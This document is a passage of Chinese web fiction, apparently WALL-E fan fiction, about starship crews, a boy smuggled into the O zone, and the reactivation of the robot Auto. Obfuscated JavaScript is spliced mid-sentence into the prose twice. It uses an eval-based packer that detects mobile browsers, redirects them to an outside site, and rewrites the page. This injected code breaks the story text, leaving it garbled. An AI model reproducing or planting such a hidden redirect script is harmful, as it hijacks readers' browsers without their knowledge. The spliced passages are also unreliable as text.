“总比回太阳系更没出路好。”弗洛伊德舰长说,“你看看,马头星云那么大,难是难了点,贵在没开发。大不了就在马头星云里再研究研究呗。太阳系该挖的都挖差不多了,这次回去不就是捡个漏吗,如果我们想要的这个漏都没有,那还回去干什么?” “对头。”科林回答。“是不是意味着船员又要被我们忽悠一遍了。” 弗洛伊德舰长瞪着机械舵手。有那么一瞬间他想拔了这机器人的发声装置。“做都没做,就全把心思放在找后路上了。”他终于敲定这么说,“真要这样也罢了,比送死好吧?” “当然咯。”科林似乎在笑。 “别老是涮我,科林,其实答案你清楚得很。”弗洛伊德舰长说,“那么现在,当我们还有两次回应,按照既定计划,最后一次我们得说同意回地球。但这次我们该怎么对付公理号那帮人呢……” 年轻舰长修长的双手枕在脑后,盯着窗外的深空。 “我觉得这一次根本不用再问他们别的东西。” “他们没有发他们船的历史。”科林说。 “问了也没用啊。和我们一样,都是编的。”弗洛伊德说。“我还是想知道跃迁能源生产工厂的情况。” “针对性太强了,一下子就知道你想要什么。” “我知道。”弗洛伊德说,“然后对于他们想要我们舰内图像的要求咋办……常量号内部基本上都重排过。” “找出古老图像是可行的。”科林回答,“我有记忆。” “总之,我觉得这一次我们的回应特别无效。”弗洛伊德说,“浪费我们的资源,然后什么有价值的东西都得不到。”他望向窗外,“科林,你要他们舰上的历史用意何在?” 机械舵手沉默了一阵。随后低沉金属声音说话了。 “实话说,这是个自私的选择——作为自动驾驶仪,我关心的是他们那边那个自动驾驶仪的情况?——他是真的蠢,还是出事了。” “他们还原问答树时没有发现我做的记号。说明不是与我相当水平的AI还原的。给回来的资料完全可以放在问答树中间,但他们单独放在外面,这不合流程上的逻辑,也就是说,这次回应主要是人做的,他们的自动驾驶仪失能了。但是给回来的照片又有自动驾驶仪身影,说明他还在为他们工作。这是个矛盾。” 科林说,“这个矛盾,我特别感兴趣。” “如果说高尚一点的目的,就是我好奇他们船上发生了什么事情,才会导致他们给出这些回应。如果弄清楚历史,说不定也能推测他们的动机。”科林说。 “我认为他们会为了圆这些信息,和我们一样编。” “没错。所以本来我就不抱什么期望。”科林说,“就当单纯调剂对话尴尬算了。” “如果地球这个事情搞定了,我们怎么确定跃迁能源工厂还没被他们占领?” “他们似乎没说活动范围。”科林说,“我们得问这个。” “这会编吗?” “可能性不大。” 过了一会儿,舰长突然问。“我们是怎么回去的?” “一个半月后跃迁。”科林回答。 “我是说,跃迁后是到哪儿,直接地球?” “不。在太阳系内减速。然后我们会绕地球先观察一段时间。” “跃迁落入点呢?” “距离地球半光日,给距离减速同时有时间观察地球。” “唔。”舰长回答。“不先去木星集氢气么。” “够用的。搞定了再收集也来得及。”科林回答。 “也好。”弗洛伊德舰长说,“按照路线来,一下子跑木星了好像不太对。” “他们要求的舰内图像需要给吗?” “你给吧。用以前的图片。”弗洛伊德舰长说。“这玩意没有登记时间吧?” “我有办法搞定。”科林回答。 “搞定了就发吧。”弗洛伊德舰长说,“及早确定,及早调整。” 一早起来,汉改了主意。他不想留一张纸条完事。他头一次积极地去上课,课后借着问问题的契机,向德卡德先生提出自己的想法。戴眼镜的老师心领神会,在两人交谈之中不着痕迹地带着汉慢慢离开教室,远离教学区的监管。 少年装作自己在严肃地陈述学术事实,但他自己都意识到声音里有点打颤。德卡德先生冷静地听着少年陈述。在听到汉暗示自己想进一步进修时,老师的眼睛里只是极快地闪过一道光,再无其他情绪流露,比汉掩饰情绪的功力深厚得多。 “很好。”老师说,“你先回去与父母沟通一下。说教学区的人同意你去长时间进修。如果有任何疑问,你告诉他们,明天中午执教老师会上家门与他们面谈。” “如果他们问到你是哪儿来的老师怎么办?” “首先,不要告诉他们我是从哪儿来的。大区内的人多数会认为大区的教学区没有外面的人。”德卡德先生说,“其次,如果真的问了,就说你不知道。” 少年看着老师,点点头。 汉回到家,与父母说明了这个事情。出乎意料的是,与父母的交谈相当顺利。一开始母亲听到他要离开的消息还很震惊,但在听到汉说明天中午执教会过来谈话的消息后,他们的反应就平静了很多。他们没有问老师的来历,没有要找人核实。汉斟酌了一会儿,告诉父亲有什么问题明天找执教问,反正放心,在教学区工作的都是有资质的人。 农民夫妇对儿子的态度相比前两年宽容了很多。汉有时候都不敢相信这是他认识的父母。老爸老妈仿佛一下子泄了气,短短一年之内,对儿子做的任何事情都不再发表意见。他们毕竟是自己的父母,与别人相比,没有做错什么。看到父母苍老颓态,有那么一瞬间,汉就想放弃自己去O区的念头。但少年强烈的自尊心使劲堵住了慈悲心发作。我不在的时候,你们可千万好好的。汉有些木然地看着显然年老的父母,心想。 与古早时期需要人力耕地不同,有机器人帮助,农民夫妇不需要汉这棵独苗给家里打下手,耕地仅仅是一种高尚职业,自落地以来地球镇就鼓励所有人继承劳动。汉知道父母对自己有些失望,但没有挽留。下午闷在房间学习间隙,汉思考良久,还是决定叫上与他关系比较好的劳作机器人N2。N2一开始拒绝进人住的地方,在汉百般劝说下妥协了。飞行劳作机器人进来后,汉说出了他的想法。 “N2,这话不能发给你。”汉说,“我要进O区,不呆在这里了。” N2窄矩形的蓝色LED眼睛变成三角。汉知道它在诧异。 “和家里人说过了。”汉说,“我……只是不想在这里呆着罢了。” N2不会说话。它伸出折叠爪子,示意汉要平板。爪子在平板上飞速打下一串话。【为什么不想?去多久?】 “弄死你们老大的是大区人。”汉对N2说,“我过去没事,和这没什么关系。但我不想回来了。” N2迟疑片刻,再度打下一串话。【要我做什么?】 “别告诉其他机器人这个事。现在找不到证据。”汉说,“对人也一样,还有,任何人问起,就说我去进修了,千万别对任何人说我可能回不来了。” 【为什么告诉我这些?】 “不说,心里总是有个结。”汉说。“然后……机器人的嘴比人严。” 汉第二天把自己要晋级的消息告诉哥们拉什。虽然与拉什也联系不是特别密切,但与后来一声不吭就走掉,然后让这大熊到处打听相比,还不如一开始就告诉他。 当天中午农民夫妇见到了老师。他没在场听老师讲什么,只在收拾东西同时模模糊糊隔着门听到双方对话。德卡德给他的准备时间非常短,一经同意,当天就走。外面没有传来他预料中的争吵。等他发觉外面安静下来,忍不住开了条门缝,发现父母坐着,都默默地喝炒麦水,德卡德先生则礼貌地坐在一边。他知道父母被说服了。 他拎好包裹出来,一开门就看到母亲开始默默抹眼泪。不要多愁善感啊。看到这场景,他的内心在尖叫着抵御动摇冲动。为了不让自己一开口就被不由自主引出泪水,他僵硬扭过身,沉默地走向门口。德卡德先生已经在门外;他知道父亲投射在他身上的眼神非常复杂,里面既有希望也有失望;母亲的啜泣声既让他留步又让他想立刻逃离。最终他什么都没做,也没有多看父母一眼,低着头拎着大包小包走出了门。 不过只要出了这个门,他就感觉好多了。最重要的东西在他看来莫过于奥托给他的那台八爪鱼式的电脑。一定都塞好了。他跟着德卡德先生一路走过曲折的巷子,左穿右穿,这种走法令他感到陌生。 他们穿过好大一片空地,汉猛然明白他们绕过了正常途径的关口。他们显然在“偷渡”。不过德卡德先生保持一贯从容,他也没理由对老师的选择有所质疑。O区的高层楼房愈来愈近。德卡德先生从袖中掏出什么,说了几句,不久从墙后翻下来几个青年。汉打量他们一眼,这些人都不认识,不过他们周身气质和之前的小混混特别相似。这令他大为吃惊。 “东西有点多,帮忙搬一下,以后就是我们的人了。”德卡德对那几个年轻人说。 “这……”汉猛然感觉不太对。 “怕什么?”这几个青年见到少年的窘态,笑道,“搞不坏你的东西。” “没事的。”德卡德先生说。汉这才把东西交给了他们。 几个青年扛着包袱还能飞檐走壁。他们瞬间翻到高墙另一头,身影全都不见。随后他们进入O区,此时少年才开口。 “老师,那些人不是——” “对,他们是两边倒的人,也叫墙头草。”德卡德先生说。“小混混归小混混,都是看人吃饭的。我们这边给的条件丰厚点,就成了我们的临时工。” 汉没吱声。只由老师领着在O区密集狭窄的巷道里左穿右拐。哪怕年初进来过一次,当时是走大路,给他的感觉没这么压抑。他尝试记住周围的楼房特征,但是失败了。 “你以后住这里。”最后他们来到一栋楼中层,看上去有点像公理号内部的舱房区,“先在里面休息一下,我大概十分钟后发你一份文件,告诉你后续安排。”德卡德先生走出房间,轻轻带上门。 自由啊自由。一路上的紧张情绪在尘埃落定后消失殆尽。少年放好自己的东西,打开闪耀绿光的平板,一长串字符投在空中。 首先是学术水平和心理测试。这正常。少年慢慢划过投影幕,看到下面内容后,少年挑了下眉毛。 基本上除了一开始的理论,都是实验。 这是否意味着足够多任由自己摆弄的电路板。汉说服自己这不可能。不过看内容来说,这些东西都应该挺有趣的。 他躺在床上,不知道拉什早就云淡风轻地把他晋级的事情告诉了别人。当然,别人也没把这当回事。 午夜时分,德卡德与劳伦斯在楼梯上碰了面。德卡德刚刚看过少年做的测试,心想算是捞到宝了。正巧劳伦斯迎面走来,两人寒暄了几句。 “今天那边有什么新鲜事?”劳伦斯开门见山。 “我这周还得过去,剩下的由另一个人过去接班。”德卡德说,“我想我们有新鲜血液了。” “谁?干什么的?”劳伦斯狡黠地问。 “汉·肯特。”德卡德说,“他之前师从人形机器人奥托。我早就注意他了。这孩子看起来可塑性很强,是块好料。” “那我们今年收成不错啊。”劳伦斯笑了,“听起来不像会是我们这边的人,不过恭喜你呀。” “嗯,这孩子是电子工程的料。”德卡德说,“到时候可能要把他送到露丝那里。” “啊,露丝。”劳伦斯的龅牙在黑暗中闪现,“不过听我一句,你现在最好别送他过去,找个别的地儿。” “为什么,你们要复合了?”德卡德冷笑一声。 “露丝现在特别忙。我了解她,你如果现在丢个人给她,她分分钟给你翻脸。”劳伦斯郑重说。 “我肯定不是找她,她手下还有人。”德卡德说。 “不不不,沃尔特,你在外面太久了,不了解里面有什么事。”劳伦斯说,“她那边有个大项目,现在特别排斥外面人进来。谁都别去,真的。” “我想的是那边才有比较丰富的电子工程资源。”德卡德沉吟道,随即挑起一根眉毛,“话说回来,你怎么知道这些?拒绝外人的大项目不会让你知道,老鼠农。” 劳伦斯笑了。“呵呵,谁叫露丝是我前女友。”他转头望向夜空,顷刻转回来,“别管我怎么知道这些,但你别现在亲自去问,她那边的项目被大区盯得很死,你这一问过去,你这边的事情搞不好会败露。” 劳伦斯飞也似的窜上楼,德卡德看着高瘦男人背影摇了摇头。 劳伦斯在房间里坐定,深感事情不妙。他不管此时深夜,直接拨通了露丝的耳机。 “这么晚干嘛?”传来露丝很不耐烦的声音。 “诶,白楼树,马上。”劳伦斯认真说。 露丝本想直接挂断,但一想劳伦斯恶作剧的时候绝对不是这个语气。搞不好他有什么信息。她回应后披上外衣走出工作间。 “白楼树”指的是O区内一栋楼上刷了个白点,正对面的那棵行道树。以前是露丝和劳伦斯的幽会常用地点。 劳伦斯一如既往提前在“白楼树”下等她。她看到劳伦斯那副吊儿郎当的样子就想发火。但没等她站定,劳伦斯直接开口。 “喂,明天你就开机是不是。”劳伦斯问。 “你别问这个。”可以看得出露丝又紧张又累。 “那好,那个机器人带的小孩进来了。”劳伦斯说。 露丝定了一秒。一脸狐疑。“汉·肯特?” “对。” “大区那边知不知道?” “我猜是不知道。”劳伦斯说。 “该死,别让他过来。”露丝的脸绷得更紧了。“离我们这里越远越好。” “我已经叫沃尔特不要带进来了。告诉了他你这里的项目很紧张,而且有人看着。” 露丝松了口气,“告诉他有人看着,他应该不会乱来。”她顿了顿,“你还能找到沃尔特吗,告诉他不要让小孩在街上露面,去你那里玩玩老鼠,拖一个月都好。” “我的老鼠可不是什么人都能玩的,养起来可麻烦了。”劳伦斯瞪着眼说,“不过我可以传达。我先说我可没有泄露你这边的信息。那么到你了,明天开机要弄什么东西?” “只是个测试。”露丝说,“我想结果会很不理想。不过几次下来如果都不行,刚好可以给那边交差, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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它表面还是透明的。那里面有点模模糊糊的什么。它似乎会动。它的中央螺旋遮光片动了,暴露出来底下黑色的什么东西。有意思。自己的视野也扩大了。但那是什么?似乎没有怎么见过。 右边猛地有什么感觉传上来了,仿佛触电般直通脊柱。左边也突然有了感觉。那个白色的家伙似乎把一条银灰色的东西横了过来。就是右边那一条东西。好像拉到哪儿了,有点难受。怎么告诉它停下? “维持这个姿势。”这白色的家伙说话了。还是女声。 它——应该称作她——放手了。那条东西直直对着我打了下来。中央什么地方也有了猛的冲击感。还有金属的碰撞声。 “再试一次。”她再度举起那条银灰色的东西。再度拉到那个角度。别放手。有感觉,应该可以控制。那是自己的一部分。它有重量。抵消它的重量。 她松手了。三个悬浮在半空中的、固定这一条银灰色东西的白色片撤开了。银灰色条杠的重量压了下来。立刻就知道它压在了右边某处,但它还在半空中,没有压下来。得花点功夫维持这个状态。 “张开手指。”她动了动条杠垂下来的一端,刚刚那里也有碰到过什么。 垂下来的一端总算抬了起来,它的5个末端也终于克服重力张来了。 “左边也一样。”她如法炮制。左侧也能活动了。 “起来。”她把两只白色的翼状的手臂伸到了自己后部。立刻,窗户和光束都动了起来。重量逐渐压到了更低的地方。而且好像有点摇摇晃晃。稳住。这个立起来的身躯下方某处开始收紧了,好不容易止住了摇晃。 视线一往下,立刻就看到了左右两条银灰色条杠连接在躯干近端某处。除此之外,还有另外两条远的接在同样银灰色的中心躯干上。它们还粘在比旁边高的地面上。不过看起来那也可以动。它们中央开始向上抬起,收回到躯干附近。远端也传来了感觉。除此之外我还有什么地方能动吗? “看过来。”她到了视野之外一半,伸出漂浮在空中的翼手,示意我跟着她的手移动到相应位置。好像挺简单的。跟随手指,自己轻易地转动了什么东西,她的全貌全都进入视野中。 “你是谁?”她在对我发问吗?这也是一开始问自己的问题。我该如何表达? 经过一小段徒劳的敲打与挣扎后,好不容易弄出点听起来是那么点对意思的声响。那声响不知道从哪儿发出来的。不过不要紧,已经知道如何发声了。“我?”同样带着金属调子的冰冷声响。那是我的声音吗? “对,你。”她的蓝色眼睛——是眼睛吗——闪了一下。好像在发什么信号。 完全没有概念。只知道自己是个和她不同的东西。虽然声音听起来都有一点点相似的部分。 为什么她要问这个问题? “不知道。”那个从自己身上发出来的、比她低沉一些的声音如此说出了自己的想法。“你是谁?” “伊芙-05。”她的蓝色眼睛再次闪了一下,她的胸前显露出一个发光的标志,上面是几块图样的拼图。拼图结果确实是五。我怎么会知道拼图的计算法则?“叫我梅(May)。” “梅。”她有编号,是机器人。她知道自己是谁,那她知道我是谁吗?我迫切想知道这个答案。“我……我是什么?” “EP-003。”她如此回答。“前身是公理号自动驾驶仪,AP-003。” 这些是型号以及编号。像她一样,我也是机器人。但这代表什么? “别人叫你奥托。”她似乎看出了我的困惑。“但那只是一个型号简称。不是你的名字,就和以前有人叫我伊芙一样。” “我的真正名字是什么?”我发觉她似乎知道我的很多事情。 “不知道。你从来没告诉过别人。”她说。然后补充道。“如果你有的话。” 我环顾四周。自己好像坐在什么上面。这叫——不知道叫什么。看起来是一个比地面高的台子,底下是可以活动的。房间对面有个深棕色的桌子。桌子上方正对着台子这边也有窗。这是冰冷气流得以流动的基础。梅是怎么进来的?在另一面墙上有个切出来的矩形,应该是那里。那叫门。 她似乎会一直呆在这里。为何不继续问她一些其他情况?“这是哪儿?”即使这是一个房间,也应该有个位置。而且这样的房间不止一个。 为什么自己知道这些? “O区。”她说。 O区?这是什么地方?我转向窗外,白光照进来,比刚刚亮了很多。底下的光斑比刚刚缩短了长度。 “你能走动吗?”她是怎么知道自己想去窗边的?“下肢着地交替进行。” 我照做了。但是动作非常别扭,很难保持平衡,只能暂且以墙作为支撑一点一点挪动。 “不是这样走动的,不要扶墙。”我知道她一直在看着我的动作。“你是类人形机器人,完全可以模仿人类的动作。” 人类。虽然知道他们的标准模型,但我好像从来没有见过任何一个真实的人类,模仿他们自然无从说起。不过,既然梅说可以不扶墙,那就试试吧。 好不容易到了窗边,亮光直接透进自己的视野。最初全都是白花花的一片。慢慢地中间一些比较暗的东西显现出来。最后其他东西的轮廓也显露了。尽管如此,到处都白刺刺得不得了。 景物果不其然很陌生。不远处有比这里高的楼房。有绿色的树等植物。看到这些对解决我的问题一点帮助都没有。它们只是些景物,就算给了位置,我也想不起来它们都代表些什么意义。 “奥托,我还得问你几个问题。”梅在叫我。她说那只是我的代号。她愿意这样叫就这样叫吧。我转过来面对悬浮在空中的她。“说。”我回答。 “公理号,你知道是什么吗?”她盯着我。 “南卡罗来纳州发射区旗舰,BNL公司的掌上明珠。”那是这个词的定义,仅此而已。就算她说自己似乎与它有联系,但也想不起来。 “瓦力,伊芙——EVE-01,他们是谁?” 两种型号的机器人而已。那个01是她这个序列的另一个个体。除此之外没什么特别的。但她显然不是在问这个。“不知道。” “B·麦克雷舰长,他是谁?”她接着问。 船上得有舰长。但我不记得这人是谁。“不知道。” 梅的两个蓝色LED眼睛被压平了。“地球镇是什么?” 她为什么总是问我一些没法回答的问题? “汉·肯特。这是谁?” 应该是一个人类。但他长什么样我不知道。再者,我应该认识他吗? 梅的LED蓝眼压缩得更小了,由最开始的椭圆压成了一条细线,还不对称。“A-113指令是什么?” 一条连内容是什么都不知道的指令。她为什么问我这些?我以前知道吗? “梅,停止测试。”从房间的角落传出一个声音,同样也是女声,音色和梅不一样。这个声音很冷,但没有金属的泛频。这是我听到的第一个人类声音。但我没看到任何应该发声的东西。仿佛斑驳的墙角中有个隐身的东西。“回收他。”这女声继续说,“03的调取功能反馈不良。” “遵命。”梅朝我飘了过来,伸出翼手,指向那个台子。“回去躺好在担架床上。” 原来这叫担架床。但这个突然的变化让我觉得有点不对劲。“为什么?” “你没法调取记忆。”那个人类声音回答了。“得回来修复。” 这是说,其实我本应该可以回答梅刚刚说的一切问题?但如果如此,为什么我还记得别的东西?我不应该记得楼房、桌子、窗等一切。 这不可能。 “奥托。”那个人类也知道这个代号,“回到担架床上。我们不会害你。” 他们至始至终都没说过为什么会发生这种事情。我莫名其妙到了这里,被问了一大堆奇怪的问题,现在又说自己有故障。为什么会有这样的结论?他们没给任何能够让自己推理的信息。他们说的是真是假,是虚是实,我都无法判断。 为什么会这样? “我怎么了?”我不由得问。 “现在告诉你,你也不理解。”那个女声说。 “你们没给更多信息。”说不定他们选的这些恰好没法反馈,另外一些也许比这有点帮助。就比如树,等等。 “这就是问题,奥托。”那个女声继续说,“我们已经告诉你足够的信息了,你还是想不起来。” 我将信将疑重新回到自己一开初坐起来的地方。视野中变回了开始那幅永恒的画面,它的亮度与光影的角度有些许变化。梅在旁边。她的手上拿着一个黑色的圆柱状物体。之前明明没有的。她不知从哪儿拿出来的。她举起了那个东西,看上去要对准我的——眼睛。 我果断避开了它。这个东西不知为何让我恐惧。同时伸手拦住了她的动作。“你要干嘛?” “先关机。”梅说,声音中没有一丝波澜,但也没有施力强迫我放手。 如果这是为了方便搬运,我单纯躺在上面不动,也不会造成任何影响。为什么需要这样?“不,不需要。”我说。更重要的是,我打心底里厌恶被别人剥夺意识。 “抱歉,这是流程。”梅说。“请放手。” “我就在此。不会妨碍你们搬运。”手臂依然挡着梅。“在清醒状态下。” “这不会伤害到你。”角落里的女声补充道。她一定从哪儿看到了这个房间里的事情。“梅,速战速决。” 他们只是想找个理由把我关掉。我还是没有放手。但是梅突然有了动作。她的力气大得吓人。我拦不住她的动作。但我可以不让自己与那个圆柱形的黑东西来个正面接触。我以为梅会把我扳过来,强迫我正视那个圆柱底面,但等我反应过来之时已经晚了。它不需要我看着就可以产生影响。有那么一瞬间我以为担架床倒了。它真的倒了吗?但后面发生了什么,我都不再知晓。 机器人会知道自己何时关机吗? 至少我不知道。 22. 番外2[番外] 关于公理号历史表达技巧的探讨 Han Kent, ExPlorer-003(Former Autopilot-003) Main Zone, Earth Town 摘要:历史记载需要完整还原历史事件,需要撰写者对历史把握良好,文字表达功底扎实。然而,是否必须保证历史真实性一直存疑,呈现方式是否应当多样化也未知。本探讨通过研究人机观念的差异,反映人机背景不同对历史撰写技巧的差别,藉此探明《公理号历史》枯燥无味的原因。 关键词:公理号;航行日志;《公理号历史》;舰长;AUTO “你这写的,也太——一点味道都没有!”汉·肯特掠过几页《公理号历史》,皱着眉头抱怨。 “嫌都是客观事实,读不进去是吧。”Auto在一边回答,“历史本应当如此,故事是另一码事。” “不是,如果是其他事情就算了,我觉得很神奇的是,你写的着陆那天的场景居然都和前面的事情一模一样。”汉说,“要知道这天可是一直被大伙儿绘声绘色描述,我还以为有多牛逼,结果你写的?” “那是故事,不是历史。”机器人说。 “不不不,这件事情涉及到你,居然当没事人?”汉说,“你对舰长啊瓦力啊什么的有一手资料,这么好的资源,就被你用成这样?” “觉得我没多写麦克雷舰长的历史是吧。” “差不多。毕竟这么一来,就显得你作为一线见证者,讲的和我们这些……二三线都没有,N线的没有任何区别。” Auto沉默好一会儿。 “害。”机器人抛出一个词。“我不能多写啊。” “为啥,他都死好久了,还忌讳什么。”汉问。 “害。”Auto显得很尴尬,“你要知道,别人不见得这么想。我太特殊了。我写,很容易被联想到故意抹黑英雄。” “但那都是事实不是吗。” “害。”Auto第三次抛出这个词,“我要是多写,那不可避免会带上我的观点。而地球镇很多人不认同我。” “你看看你这个阅读量才多少,大家肯定一开始就被你这种写法劝退了。”汉说。 “我……还是觉得我的狗命比较重要。”Auto说。 “那你对这个事的观点究竟如何啊?”少年问。 “就……很无奈啊,我连辩护权都没有。”机器人生无可恋地缩在椅子里,“其实我确实想疯狂吐槽,但一吐槽我肯定会被绳之以法的。” “那你说说看。这里就我们俩。”汉鼓励Auto说出来。 “你不觉得这整件事都是迷之操作么。”Auto说,“罔顾客观事实,说一句我要回家就必须回家,也不考虑一下回去了有什么后果。如果没看到地表就算了,重点是,他都看到地表情况了。这都能冲动了事。啊……真是,乌合之众。” “呃,我觉得最大的锅是你前面自己自作主张丢东西,没有给他解释,也没有经得同意。”汉看着Auto,“这……实在是篡权行为……人家不说你叛变都难。” “害。”Auto靠到椅背上,“我太难了。” “他不知道A113给我权限大过舰长。我也没想到后面翻车了。”他的单镜头望着天花板,“我都说我连辩护权都没有……越解释越黑。” “然后,你大概不知道和舰长沟通是有多难。”Auto接着说,“看问题的方式差太多了。一个是背景知识差太远,他不会理解。另外是你怎么解释他都不听,就是咬定你要害他。前面几届还好沟通,后面各个都是神人。” “那咋整啊。” “我自闭咯。” “这也太惨了吧。” “这就是身份问题。”Auto说,“换成你,过去和舰长辩论什么都可以。我要一辩论就是人工智能危机,只能逆来顺受,没办法。” “害。”汉靠在墙角,“我该怎么说,庆幸自己讲道理吗。” 机器人摆出无奈手势。 “回到历史上,确实,我写的时候把我对事件的观点都给屏蔽了。”Auto说,“然后可能有点矫枉过正,把本应该写的生动的东西也一并去掉了。” “那你加上,我帮你看。”汉说。 “不行。你要加,就你写,我作为顾问回答你想问的问题。然后这版署名你。”Auto说。 “这不行。”汉说,“你参与顾问,不能把锅都丢到我头上。而且里面人一看就知道肯定和你有关。” 汉没想到Auto笑了。机器人的笑声让他发毛。 “是不是体会到了责任的痛苦,嗯?”Auto说,“所以,为了我的生命着想,野史听听就算了。” “害,可是你说得也没错啊。他们确实存在不够理性的问题。”汉说,“我觉得这个加上去也能够更全面展示一个人的情况。” “道理是这么讲,出自谁手真的很有关系。”Auto说,“其实我真的不适合写。AI和人的关系是非常敏感的话题,我们的权利之少你们是真的想不到,也很难理解。” “瓦力和伊娃呢,他们过的好好的。” “我又不是他们。”Auto说,“他们是英雄我是反派。这待遇怎么对等。” 汉靠在墙上想了好一会儿。“我说,老奥,我知道你的问题所在了。” “哪儿?” “要我说,就是你长得不够可爱。”少年笑道,“你要像BB-8那样,那说啥狠话都没事啦。” Auto愣了。 “好有道理。”Auto忍不住看了一眼自己的手掌,随后开始葛优瘫。“那我有什么办法?你看看有关我的同人,不是蜘蛛就是人,我还见过1.98m的机设,就算皮爸爸的弃稿也是有棱有角的,你们本来就没打算让我可爱。” “诶,还有一个补救的方案。”汉笑了,“可爱的东西除了圆滚滚大眼睛小只的,还有一样。” “啥。”汉故意卡在那里卖关子。 “小姐姐啊。”汉从墙边弹起来,“女装就好了。女装不行,还有furry。” Auto顿在原地好久。 “我……选择furry。”他听到汉传来一丝叹息。害,我就知道,天天想看我女装。 “回来回来。那历史怎么办?” “凉拌。”Auto说,“我觉得……furry比文字狱要靠谱多了。” 于是乎,广袤的地球镇田地出现了一只直立的毛熊。毛熊手中拿锄头锄地,旁边是一些时不时忍不住瞄一眼毛熊却欲言又止的各转业机器人,再配上远方雾霾中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706288|173541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的巨大船体,非常的赛博朋克。 在某种可能是煮不小心掉落一根面条的机遇下,废土赛博朋克风的麦田中央忽地捅破一个时空泡泡,一群小紫人从虫洞中掉了出来,正落在毛熊面前。赛博朋克上加赛博朋克。 他们与毛熊面面相觑,其中几个小紫人环顾四周。然后小紫人齐齐发出刺耳的高频尖叫。 “啊啊啊啊啊啊!——” “不要恐慌!”毛熊也慌了,连忙摆手。“这里是地球!你们是安全的!” “啊啊啊啊啊啊!地球!” “杀了他,他就是让疯狗们获得跃迁技术的那个种族!” 啥?Auto摘下头套,“你们认错了,我们是地球人!” “啊啊啊啊啊啊啊疯狗还把他们的皮给扒了!”小紫人掏出一个晶莹剔透的武器,“无论是地球人还是该死的泰迪熊,杀无赦!”[1] 卧槽。那个晶莹武器开始发光,Auto立马扭头就跑。Furry外套让他没跑多久绊了一跤。红光从头顶略过,“这是误会!”他说,“有话好好说!凭什么攻击我!” 他脱下剩下的furry外套,爬起来继续向前狂奔。于是一群小紫人在祥和如意的田野上狂追一个周身闪着银光的机器人,赛博朋克超级加倍。 他侥幸以为这个种族的枪法或许也和暴风兵的描边枪法类似,但侥幸终究敌不过概率。一束红光只沾到他一点点肢体,甚至毫无感觉,但立马瘫痪了他的活动机能。那群小紫人围到他身边,其中一个拿出一个小棍子在他身上戳了好几下。 “这不是人类。”那个小紫人说。“不是有机生命体,不然早死了。” “到底发生了什么?”Auto还能说话。 “八十亿疯狗在宇宙屠杀其他种族,我们是逃难的,没想到进了虎穴。”另一个小紫人说,“你到底是什么,是人类还是泰迪熊?为什么自称人类?这里是不是地球?” “没有没有。”Auto矢口否认,“我不是人类也不是泰迪熊。这里是地球。” “那你为什么要把自己扮成泰迪熊还称自己是人类?”小紫人投来怀疑的眼神,“你们的跃迁技术从哪里来?”他指了指远方的公理号。 “是……是人类给的。”如果能的话,Auto肯定满头大汗。 “地球共生种族?”小紫人怀疑,“奇怪,人类为什么会允许有共生种族。” “你们能不能放我走?”Auto还是动弹不得,“你们快走,不要让其他共生种族发现。” “好。”小紫人调了一下武器,给Auto补了一枪。这回是真的疼。“1瓦格时后你就能动了。” “一瓦格时是多长?”Auto生无可恋地问。 “3地球时。”那个小紫人一脸鄙夷。 三小时啊!他就得这么以一个尴尬的姿势趴在田里三小时。他们走了。好事情!这3小时里千万千万不要有人类过来…… 他发了通告。然而就在此时,传来了一个小紫人的尖叫。“啊啊啊啊这里有人类!!打死他!” 几个小紫人回来了。他们用另一种东西让他浮了起来,“你得跟我们走,给我们解释清楚了!” “我不是说了我是共生种族吗?!”Auto在空中动弹不得,绝望大叫,声音带着哭腔。“我TM太难了!” 23. 二十 科林独自呆在舰桥,望着窗外的星空。 舰长不在舰桥。他在下方的大甲板上主持全舰人员兵训仪式。地球如常迅速回复,所有基站完好,降落几年来的历史也清清楚楚,附上了更多的图片。在此中,他们发现了他们想要的东西。那栋建筑处于可辨识的活动区之外,隐隐约约埋在地平线中,看起来没有被开发。舰长当即决定维持原计划继续前进,中断与地球的所有联系。科林与GO-4机器人交互本舰所有机器人数据,再和舰长发来的人类船员排出人机配合名单。他们根据地球发来的情报设计出30多种可能情况的应对措施。所有人都会在一个月内见识到并且配合妥善。一系列更加细化的对点措施呼之欲出,针对他们训练中出现的情况进行调整。 这群惯于在低重力下生活的人必须重新适应高重力地面。一个月对于一生都在太空的人来说不可能完全适应地面。超塑性极轻外骨骼经受住了太空矿采考验,此时将真正量产并投入实战。贴颅信号仪能轻而易举在半船范围内获知自己机器搭档的位置。互为战友的人机必须相互信任,利用人与机器人各自的优势互补,及时根据情况转换面敌角色,不允许在任意情况下均使用机器人当挡箭牌。遇到解除任意一角战友情况必须上报。 此外,飞船常规能源即将耗尽。脱离马头星云后,空旷的宇宙总算给了足够的跃迁空间,不至于让这艘久经坎坷的小飞船在跃迁途中意外散架。即使这样,留给他们进入低轨跃迁的时间不多。燃料灌注将在18天后进行,随后是能耗单位转换。最好的情况是,他们能按照计划进入跃迁。否则,他们就只能消耗跃迁能源,而这是全船最宝贵的财产,没有人愿意白白浪费哪怕一点生还的机会。 舰长还在底下。他只会在旁边观看一级执行员对全体船员进行思想准备。剩下的舰长将很少参与。决策者常常隐身幕后,做一些与壮烈牺牲相比简直不值一提的文书工作,而那些人的命则随着笔起笔落随风飘摇。科林每想到这点,常会感到遗憾。即便如此,该落的笔还是得落。 但决策者一旦失误,赔上的就远远不止部分牺牲,甚至全军覆没。 